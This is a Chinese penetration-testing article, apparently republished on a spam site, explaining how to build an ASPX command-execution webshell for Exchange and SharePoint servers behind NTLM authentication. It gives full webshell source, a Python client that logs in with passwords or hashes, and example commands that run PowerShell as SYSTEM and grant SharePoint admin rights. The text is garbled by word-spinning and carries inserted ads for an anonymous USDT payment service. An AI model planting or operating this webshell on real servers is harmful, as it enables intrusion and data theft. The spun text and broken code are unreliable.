快捷搜索:  as  合川  力帆股份  刘浪  力帆  创意文化园  test  天天630

usdt钱包支付(www.caibao.it):渗透基础——支持NTLM Over HTTP协议的Webshell实现

USDT官网

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

0x00 前言

在某些环境下,接见Web服务器的资源需要通过NTLM Over HTTP协议举行NTLM认证,而我们在这样的Web服务器使用Webshell时,不仅需要思量NTLM认证的实现,还需要知足能够在下令行下使用。

本文仅在技术研究的角度先容一种实现方式,开源代码,分享剧本开发细节。

0x01 简介

本文将要先容以下内容:

· 设计思绪

· 剧本开发细节

· 开源代码

0x02 设计思绪

通过NTLM Over HTTP协议举行NTLM认证的Web服务器有许多,这里划分以Exchange和SharePoint为例

(1)Exchange测试环境

文件保留的绝对路径:

C:Program FilesMicrosoftExchange ServerV15ClientAccessAutodiscovertest.aspx

对应的URL为:

https://URL/Autodiscover/test.aspx

(2)SharePoint测试环境

文件保留的绝对路径:

C:Program FilesCommon Filesmicrosoft sharedWeb Server Extensions15TEMPLATELAYOUTStest.aspx

对应的URL为:

http://URL/_layouts/15/test.aspx

接见test.aspx时均需要通过NTLM Over HTTP协议举行NTLM认证

这里以一个支持cmd下令的webshell为例举行测试,webshell的地址为:

https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx

如下图


这个webshell需要通过浏览器举行操作,首先完成NTLM认证,接着填入准确的Auth Key和要执行的cmd下令。

我们的目的是知足能够在下令行下使用,可以以此为模板举行修改,设计思绪如下:

(1)execCmd.aspx

吸收Form表单请求作为参数,对Auth Key举行验证

若是验证失败,返回空效果

若是验证乐成,执行传入的cmd下令并返回执行效果

(2)aspxCmdNTLM.py

下令行剧本

首先通过NTLM Over HTTP协议完成NTLM认证,这里需要支持明文和用户口令hash两种登录方式。

通过Form表单请求发送Auth Key和要执行的cmd下令,吸收cmd下令的执行效果。

execCmd.aspx和aspxCmdNTLM.py的通讯内容作Base64编码,在程序实现上需要思量Base64编码和解码。

0x03 剧本开发细节

1.execCmd.aspx

使用Page_Load方式吸收Form表单请求,其中data1用作Auth Key,data2用作cmd下令。

,

usdt收款平台

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

Base64编码的实现:

byte[] enbytes = Encoding.Default.GetBytes(string1);string string2 = Convert.ToBase64String(enbytes);

Base64解码的实现:

byte[] outbyte = Convert.FromBase64String(string1);string string2 = Encoding.Default.GetString(outbyte);

完整的实现代码如下:

< %@ Page Language="C,"% >< %@ Import namespace="System.Diagnostics"% >< %@ Import Namespace="System.IO"% >< script runat="server" >private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";protected void Page_Load(object sender, EventArgs e)    {string data1 = Request.Form["data1"];if (data1 != AUTHKEY){return;}string data2 = Request.Form["data2"];byte[] outbyte = Convert.FromBase64String(data2);string payload = Encoding.Default.GetString(outbyte);string outstr1 = ExecuteCommand(payload);byte[] enbytes = Encoding.Default.GetBytes(outstr1);string outstr2 = Convert.ToBase64String(enbytes);Response.Write(outstr2);}private string ExecuteCommand(string command)    {try{ProcessStartInfo processStartInfo = new ProcessStartInfo();processStartInfo.FileName = "cmd.exe";processStartInfo.Arguments = "/c "   command;processStartInfo.RedirectStandardOutput = true;processStartInfo.UseShellExecute = false;Process process = Process.Start(processStartInfo);using (StreamReader streamReader = process.StandardOutput){string ret = streamReader.ReadToEnd();return ret;}}catch (Exception ex){return ex.ToString();}}< /script >

2.aspxCmdNTLM.py

NTLM认证的实现可以参考之前的代码:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py

· 支持明文和用户口令hash两种登录方式

· Form表单请求通过POST方式发送

· Base64编码和解码需要注重字符串的花样

完整的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py

· execCmd.aspx需要保留在Web服务器

· aspxCmdNTLM.py在下令行下执行,毗邻execCmd.aspx执行cmd下令并获得返回效果

· aspxCmdNTLM.py支持明文和用户口令hash两种登录方式

· 对于Exchange服务器,对应的Webshell权限为System

如下图


可以直接挪用Exchange PowerShell

下令示例:

python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer""

效果如下图


对于SharePoint服务器,对应的Webshell权限为用户权限

如下图

可以实验挪用SharePointServer PowerShell

下令示例:

python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c "Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite""

这里需要注重,用户需要设置为能够接见数据库才能够执行SharePointServer PowerShell下令

查看可接见数据库的用户列表对应的Powershell下令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPShellAdmin

添加指定用户接见数据库权限对应的Powershell下令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;Add-SPShellAdmin DomainUser1

删除指定用户接见数据库权限对应的Powershell下令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;Remove-SPShellAdmin DomainUser1 -Confirm:$false

正常的效果如下图


0x04 小结

本文以Exchange和SharePoint为例,先容了支持NTLM Over HTTP协议的Webshell实现思绪,开源代码,分享剧本开发细节。

本文为 3gstudent 原创稿件,授权嘶吼独家公布,:
发表评论
sunbet声明:该文看法仅代表作者自己,与本平台无关。请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片

您可能还会对下面的文章感兴趣: